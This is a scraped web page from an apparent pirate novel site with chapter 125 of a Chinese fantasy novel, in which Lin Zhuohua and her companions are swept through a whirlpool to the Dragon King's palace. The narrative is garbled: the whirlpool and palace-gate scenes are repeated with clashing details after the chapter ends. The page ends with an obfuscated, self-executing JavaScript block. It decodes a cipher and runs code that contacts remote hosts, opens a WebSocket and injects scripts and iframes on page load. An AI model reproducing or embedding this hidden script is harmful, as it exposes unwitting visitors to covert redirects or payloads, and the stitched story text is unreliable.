首页
第125章 漩涡里的“海底两
返回

第125章 漩涡里的“海底两万里”

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第125章漩涡里的“海底两万里”(第1/2页)
    林灼华蹲在礁石上,海风把她的丸子头吹得东倒西歪。那怪老头说完了话,钓竿一收,整个人就像化在了风里,连个影儿都不剩。她愣愣地盯着老头方才坐过的那块礁石,上头只留了一圈湿漉漉的水痕,像是被潮水刚漫过似的。
    “人呢?”阿绿从礁石后面探出个绿毛脑袋,左瞅右瞅,“咋说没就没了?”
    “高人呗。”林灼华撇撇嘴,心里却翻了个个儿——她娘跟东海龙王有血誓渊源?这事儿师父可一个字都没提过。她低头看了看自己的手指,又看了看脚下那片蓝得发黑的海面,咬了咬牙:“行,试试就试试。”
    她从腰后摸出那把菜刀,刀锋在指尖轻轻一划,一道血珠渗出来,红得发亮。她龇了龇牙,把手指往海面上一甩,那滴血落在水里,起初没动静,海面平静得像块蓝玻璃。阿绿凑过来,绿毛几乎要蹭到她脸上:“姑奶奶,是不是不管用?”
    话音刚落,海面“轰”地一声炸开了。
    像是有人在水底扔了颗炮仗,整片海面猛地鼓起一个巨大的水包,然后从中间裂开,一道漩涡凭空出现,越转越快,越转越大,像一张张开的黑嘴,发出“呜呜”的吸水声。漩涡边缘的海水翻着白沫,浪头溅起老高,劈头盖脸地砸下来。
    “我滴个亲娘嘞!”阿绿尖叫一声,绿毛全炸成刺猬球,转身就想往岸上跑,可脚底下一滑,直接被卷进漩涡的边沿,打着滚儿就往里栽。林灼华眼疾手快,一把揪住他后颈那撮绿毛,还没来得及骂人,脚底下的礁石也“咔嚓”一声裂了,整个人跟着往下一坠。
    沈玉郎站在稍远的地方,脸色白得像纸,想伸手去拉她,却被一股巨大的吸力扯得一个趔趄,扑通一声也栽进了水里。
    四个人像下饺子一样,一个接一个被漩涡吞了进去。
    阿绿在水里扑腾得厉害,绿毛在水面上浮浮沉沉,嘴里含糊不清地嚎:“救——命——啊——我不会——咕噜咕噜——游泳——”
    林灼华被水灌了一鼻子,呛得直咳嗽,好不容易稳住身子,一把抓住阿绿的胳膊,气不打一处来:“你一个绿毛粽子,怕啥水!”
    “我怕——咕噜——怕淹死!”阿绿手脚并用,恨不得爬到她头上去。
    沈玉郎从旁边浮上来,抹了一把脸上的水,脸色青白,嘴唇直哆嗦,还不忘接一句:“粽子淹不死。”
    “那俺也怕!”阿绿嚎得更大声了,绿毛在水里漂成一大团,像朵烂海带。
    林灼华被他嚎得耳朵嗡嗡响,真想一菜刀把他拍晕了省事。可漩涡的力道越来越大,四个人像被塞进了一个巨大的水桶里,转得头晕眼花,根本分不清东南西北。她只能死死拽住阿绿,另一只手朝沈玉郎那边够,喊了句:“你抓好俺的腰带!别撒手!”
    沈玉郎也没工夫计较什么腰带了,一把攥住她后腰的布带子,跟攥着救命稻草似的,指节都泛白了。四个人抱成一团,在漩涡里转了不知多少圈,转得林灼华胃里翻江倒海,差点把早上的海肠面吐出来。
    也不知过了多久,那股旋转的力道忽然一松,像有人拔掉了浴缸的塞子,四个人“扑通”一声跌进一片温吞吞的水里,溅起一大片水花。
    林灼华第一个从水里冒出头,大口大口喘着气,头发全贴脸上,狼狈得不行。她四下看了看,愣住了——眼前是一片巨大的珊瑚丛,红的白的粉的黄的,像一座海底花园,珊瑚枝条上还挂着五颜六色的小鱼,正探着脑袋看她。
    阿绿紧随其后从水里钻出来,趴在一块珊瑚上,大口大口吐水,吐完了才哆嗦着四处张望:“姑、姑奶奶……这、这是哪儿啊?”
    沈玉郎从水里爬起来,浑身湿透了,书生袍贴在身上,活像个落汤鸡。他抹了把脸,抬头一看,眼睛猛地瞪大了。
    前方不远处,一座水晶砌成的宫殿矗立在珊瑚丛之间,整座宫殿晶莹剔透,折射着海底幽蓝的光,像一块巨大的冰雕。宫殿门口站着两个虾兵,一人持一把三叉戟,通体赤红,虾须一翘一翘的,甲壳在光线下泛着油亮的光泽。
    虾兵甲看见了他们,三叉戟往前一横,嗓门洪亮地喝了一声:“来者何人!”
    阿绿吓得一缩脖子,躲到林灼华身后,绿毛直抖。沈玉郎也下意识往后退了半步,脸色又白了几分。
    林灼华却把腰杆一挺,湿漉漉的丸子头还在滴水,她拍了拍胸脯,嗓门比虾兵还大:“俺是引眉血脉传人,来找你们龙王借点东西!”
    虾兵甲上下打量了她一眼,虾须抖了抖,转头跟虾兵乙嘀咕了两句。虾兵乙也打量了她一会儿,目光在她腰间那根铁棍上停了停,然后两人对视一眼,虾兵甲收了三叉戟,侧身让开一条道,语气客气了不少:“引眉血脉?您稍等,小的这就去通传。”
    林灼华心里“咦”了一声——还真管用?那怪老头没诓她。
    她回头看了一眼沈玉郎和阿绿,低声说了句:“跟紧俺,别乱跑。”然后大步流星地朝水晶宫门口走去。
    阿绿小跑着跟在她身后,绿毛还在滴水,嘴里嘟囔:“姑奶奶,这地方看着好贵……咱不会要赔钱吧?”
    沈玉郎没说话,但攥着笔记的手紧了紧——他总觉得,这龙宫里头,怕不是那么好进的。
    虾兵乙也朝她拱了拱手,八只爪子齐刷刷地晃了晃:“引眉血脉的贵客,您里头请。龙王今儿个正好在宫里,没出门巡海。”
    林灼华心里头又踏实了三分——龙王在家就好,免得白跑一趟。
    她大步流星地往里走,脚刚踏进水晶宫的门槛,眼前豁然开朗。外头看着是座宫殿,里头却大得没边儿——穹顶高得看不见顶,嵌满了夜明珠,照得整座大殿亮堂堂的,比渔村过年挂的灯笼还亮堂。脚下铺的是白玉石砖,缝里嵌着金丝,踩上去滑溜溜的,阿绿一个没留神,四仰八叉摔了个大马趴。
    “哎哟俺的亲娘嘞!”阿绿趴在地上,绿毛蹭了一地灰,挣扎着爬起来,“这地砖咋比俺家炕还滑!”
    林灼华回头瞥了他一眼:“你一个粽子,还怕摔?”
    “粽子咋了?粽子也怕疼!”阿绿揉着膝盖,龇牙咧嘴地跟上来。
    沈玉郎走在最后,一边走一边四处打量,眉头越皱越紧。他忽然凑到林灼华耳边,压低声音说:“灼华,这地方不对劲。”
    “咋不对劲?”林灼华脚步没停,但耳朵竖了起来。
    “你看墙上那些浮雕——”沈玉郎用下巴指了指两侧墙壁,“画的都是龙宫征战四海的故事,但每一幅画的角落里,都刻着同一个符号。”
    林灼华顺着他的目光看过去——果然,墙上浮雕的右下角,都刻着一个圆圈套着三角的古怪记号。她眯着眼看了一会儿,没看出啥门道来:“这啥玩意儿?”
    “不知道。”沈玉郎摇摇头,神色凝重,“但我总觉得……像是在哪儿见过。”
    “你啥都见过。”林灼华嘴上不饶人,心里却暗暗记下了这个记号。
    虾兵甲领着他们穿过三道水帘,又绕过两座珊瑚假山,终于在一扇镶满砗磲的大门跟前停了下来。虾兵甲恭恭敬敬地叩了三下门,门里传出一个浑厚的声音:“谁啊?”
    “启禀龙王,引眉血脉的传人求见。”
    门里沉默了片刻,随即“吱呀”一声,两扇砗磲大门缓缓打开。林灼华深吸一口气,挺直腰板走了进去。
    大殿正中,一张用整块红珊瑚雕成的龙椅上,坐着个白胡子老头——不是她想象中那种头生双角、满面威仪的龙王,反倒像个晒了一辈子太阳的老渔翁,穿一身金丝滚边的青袍,手里端着一盏茶,正慢悠悠地吹着热气。他抬眼看了看林灼华,目光在她脸上停了停,又在她腰间的铁棍上停了停,最后落在她额间那枚淡淡的眉形印记上,手里的茶盏微微一顿。
    “引眉血脉……”龙王放下茶盏,眯起眼睛打量她,“你娘……叫什么名字?”
    林灼华一愣:“您认识俺娘?”
    龙王没接话,只是摆了摆手,示意虾兵甲退下。等门关上,他才缓缓开口:“老夫在东海活了两千多年,见过三任引眉传人。你娘是第三任——她叫什么名字,老夫自然认得。”
    他顿了顿,目光变得有些悠远:“你娘当年……也来找老夫借过东西。”
    林灼华心里一动:“俺娘借了啥?”
    龙王端起茶盏,抿了一口,慢悠悠地说:“她借了一把刀——引眉刃。那是她最后一次来龙宫,后来她修完天门,那把刀就再没还回来。”
    林灼华下意识地摸了摸腰间——引眉刃不在身上,她出门前把它留在饭馆的灶台底下了。她心里暗暗记下这事,嘴上却问:“那俺娘当年,除了借刀,还干了啥?”
    龙王看了她一眼,目光意味深长:“她还在老夫这儿,存了一样东西——说将来若是她的后人来了,让老夫转交。”
    林灼华的心一下子提了起来:“啥东西?”
    龙王没答话,只是缓缓站起身,走到大殿左侧一面不起眼的墙壁前,伸手在墙上一块珊瑚砖上按了一下。那面墙无声地滑开,露出一间暗室。龙王走进去,片刻后捧出一个巴掌大的锦盒,盒面上覆着一层淡蓝色的水光,轻轻晃荡,像是活的一般。
    龙王把锦盒递到林灼华面前:“这是你娘二十年前存在老夫这儿的——她说,等她闺女来了,就把这东西交给她。”
    (本章未完,请点击下一页继续阅读)第125章漩涡里的“海底两万里”(第2/2页)
    林灼华伸手接过锦盒,指尖碰到盒面的瞬间,那层水光忽然亮了一下,像是认出了她的气息,随即缓缓散开。她打开盒盖,里头躺着一枚通体碧蓝的玉佩,玉佩上刻着一条栩栩如生的小龙,龙眼处嵌着两粒细如芝麻的红宝石,在珠光下熠熠生辉。
    她翻过玉佩,背面刻着一行小字——她眯着眼看了半天,只认出最后两个字是“灼华”。
    “这上头写的是啥?”她转头问沈玉郎。
    沈玉郎凑过来,仔细辨认了一会儿,脸色微变:“东海龙宫,引眉为信——持此佩者,可调东海之水,召龙宫之兵。”
    林灼华愣了:“这么厉害?”
    龙王在一旁慢悠悠地开口:“这玉佩叫‘龙鳞引’,是你娘当年替龙宫解决了一桩大麻烦之后,老夫亲手赠她的。她没收,只说你替我存着,将来我闺女来了,你给她。”
    他说到这里,顿了顿,目光落在林灼华脸上:“你娘还说——让她好好用,别像她似的,一辈子光顾着补天,连海都没好好看过。”
    林灼华握着玉佩,手心微微发烫。她低头看着玉佩上那条小龙,心里涌上一股说不清的滋味——她娘一辈子忙着补天、堵漏、修门,连一片海都没好好看过。可她娘还记得,要给闺女留一块能看海的玉佩。
    她把玉佩妥帖地收进怀里,抬头看向龙王:“那……鲛人泪的事儿?”
    龙王收回目光,重新坐回龙椅上,端起茶盏:“鲛人泪不在老夫手里。东海深处的鲛人国,才是你要去的地方——鲛人女王说了,引眉血脉的传人来借泪,可以,但她有个条件。”
    “啥条件?”林灼华追问。
    龙王放下茶盏,慢悠悠地吐出四个字:“给她做饭。”
    林灼华:“……”
    沈玉郎:“……”
    阿绿:“做饭?俺会吃!”
    龙王看着他们仨的表情,难得地露出一点笑意:“鲛人女王三百年前吃过一次人间厨子做的菜,念念不忘至今。你若是能让她吃得满意,别说一滴鲛人泪,十滴她也舍得给。”
    林灼华脸上的表情从错愕转为哭笑不得——她寻思着,自己从渔村一路闯到东海龙宫,又是割血又是跳漩涡,结果到头来,最大的难关居然是给人做饭?
    她想了想,忽然咧嘴一笑:“行——俺别的不敢说,做饭这事儿,俺还真没怕过谁。”
    沈玉郎在旁边小声嘟囔:“你上次做饭差点把灶台烧了……”
    “那是意外!”林灼华瞪了他一眼,“俺那是控火没控好——现在有饕渊的火候经验了,肯定不一样!”
    阿绿在旁边搓着手,眼巴巴地问:“姑奶奶,那鲛人国管饭不?俺饿了……”
    林灼华一拍他脑袋:“你除了吃还会啥?”
    “还会跑!”阿绿理直气壮,“跑得可快了!”
    龙王看着这一行活宝,嘴角抽了抽,难得地没有端出龙王的架子。他摆了摆手,唤来虾兵甲:“带他们去鲛人国——路上别磨蹭,鲛人女王最烦人迟到。”
    虾兵甲领命,正要转身带路,沈玉郎忽然开口:“龙王前辈——晚辈有一事想问。”
    龙王抬眼看他:“说。”
    沈玉郎指了指大殿墙上浮雕角落里的那个圆圈套三角的记号:“这个符号——您知道是什么来历吗?”
    龙王的目光微微一凝,沉默了片刻,才缓缓开口:“那是‘归墟’的印记。”
    “归墟?”沈玉郎皱眉。
    龙王放下茶盏,语气沉了几分:“东海深处,有一处上古遗迹,名为归墟。传说那里是天地的‘漏眼’,天地灵气最初就是从那儿漏出去的。你娘当年修天门之前,曾去过一趟归墟——她回来之后,才决定封堵天门。”
    林灼华心头一紧:“归墟……跟九幽秘境有关系吗?”
    龙王看了她一眼,目光意味深长:“九幽秘境是‘心路’,归墟是‘天地之漏’——两者看着不相干,但你师父既然被关在无间狱,而那无间狱的入口就在归墟……你说有没有关系?”
    大殿里安静了一瞬。
    林灼华握着怀里的龙鳞引,心里翻来覆去地琢磨着龙王的话。她忽然觉得,师父困在无间狱这件事,恐怕远不止“救出来”那么简单——九幽封印烂了里子,归墟是天地的漏眼,无间狱的入口又藏在归墟……这一桩桩一件件,像是被一条看不见的线串在一起。
    她深吸一口气,抬头看向龙王:“那俺去鲛人国,拿了鲛人泪之后,能顺道去归墟看看吗?”
    龙王沉默了一会儿,说:“归墟不是谁都能进的——你娘当年能进去,是因为她手里有引眉刃。你若想去,得先把引眉刃找回来。”
    林灼华心里一凛——引眉刃她留在渔村灶台底下了。看来,等鲛人泪到手,她得先回一趟家。
    她冲龙王抱了抱拳:“多谢龙王指点——那俺先去鲛人国做饭去。”
    龙王点了点头,目送三人跟着虾兵甲走出大殿。等门重新关上,他才缓缓站起身,走到那面暗室墙前,伸手摩挲着方才放锦盒的暗格,低声自语:“引眉家的丫头,一代比一代倔——你娘当年说,她闺女会替她把没看完的海看完。老夫看着,这丫头怕是比你还能折腾。”
    他说完,摇了摇头,又端起茶盏,慢悠悠地喝了一口。
    林灼华滴血入海,那滴血落在水面,竟像砸在铜锣上似的,发出“铛”一声脆响。她还没反应过来,整片海面忽然炸开一个巨大的漩涡,水墙冲天而起,足有三丈高,像一条发疯的巨龙在翻腾。
    四人站在漩涡边上,一个没站稳,齐刷刷被吸了进去。
    阿绿吓得绿毛根根竖起,哇哇大叫:“救命啊!俺不会游泳!俺要淹死了!”
    林灼华被水流裹着,一边扑腾一边喊:“你一个绿毛粽子,怕啥水!”
    阿绿的声音从漩涡深处传来,带着哭腔:“俺怕淹死!”
    沈玉郎被水呛得直咳嗽,还不忘补一句:“粽子淹不死!”
    阿绿嚎得更大声了:“那俺也怕!”
    林灼华被这话气笑了,在这天旋地转的当口,她居然还能腾出一只手,一把抓住阿绿的绿毛,扯着他往自己这边拽。水流像千万只手在撕扯他们,她只觉得天旋地转,眼前一片蓝绿交错,耳畔全是水流的轰鸣声。
    也不知过了多久,水流忽然缓了下来,像一条温柔的手臂,把四人轻轻托住,然后一松手——四人“噗通”几声,接连摔在一片软绵绵的东西上。
    林灼华趴在地上,先吐了两口水,又喘了两口气,才抬头打量四周。
    这一看,她愣住了。
    眼前是一大片珊瑚丛,红的像火,白的像雪,紫的像霞,高的足有一人多高,低的刚没过脚踝。珊瑚丛间游着各色小鱼,身上鳞片五彩斑斓,在透亮的水光里闪闪发亮。头顶上是一片水波荡漾的光影,像隔着层流动的琉璃看天——这哪里是海底,分明是神仙住的园子。
    阿绿趴在她旁边,抱着根珊瑚柱子,绿毛全贴在他脑袋上,像只落汤的绿毛鸡。他抖着嗓子说:“姑奶奶……这是哪儿啊?俺们是不是掉进龙王肚子里了?”
    沈玉郎瘫坐在一丛紫色的珊瑚边上,浑身上下湿透了,头发贴在脸上,脸色白得吓人。他喘匀了气,才开口:“这水……是甜的。”
    林灼华一愣,低头舔了舔手背上的水珠——还真是甜的,像山泉。
    小翠从她怀里钻出来,抖了抖毛,转着滴溜溜的眼珠四下张望,忽然“吱”地一声,用爪子指着前方:“你们看!”
    林灼华顺着她指的方向抬头,又愣住了。
    珊瑚丛的尽头,矗立着一座水晶砌成的宫殿。整座宫殿通体透明,在海底的光芒映照下,折射出千万道耀眼的光彩。宫殿的屋顶是琉璃瓦,廊柱是水晶柱,门上镶着珍珠,台阶铺着白玉,门口两只巨大的贝壳张开着,里头各卧着一颗拳头大的夜明珠,把整片海底照得亮如白昼。
    宫殿门口站着两个虾兵——虾头人身,穿着铠甲,手里各持一把三叉戟,站得笔直,像两根插在门口的叉子。
    林灼华拍了拍身上的沙子,从珊瑚丛里站起来,朝宫殿走去。
    两个虾兵看见有人过来,立刻举起三叉戟,齐声喝道:“来者何人!”
    左边那个虾兵甲,眼睛瞪得溜圆,上下打量着林灼华,又看了看她身后那个浑身绿毛的“东西”和那个书生模样的落魄公子,一脸警惕。
    林灼华挺起胸膛,拍了拍腰间那根烧火棍(此刻安静得像根废铁),扯着嗓子回话:“俺是引眉血脉传人,来找你们龙王借点东西!”
    两个虾兵对视一眼,虾兵甲“啧”了一声,压低声音对虾兵乙说:“又来个引眉血脉的——上回那个,在宫里做了三天三夜的饭,把老龙王的肚皮都撑圆了三圈。”
    虾兵乙也压低声音:“这回这个看着更莽,你看她腰后别的那东西,像是菜刀?”
    虾兵甲仔细瞅了瞅,点点头:“是菜刀——这丫头怕不是来砸场子的。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();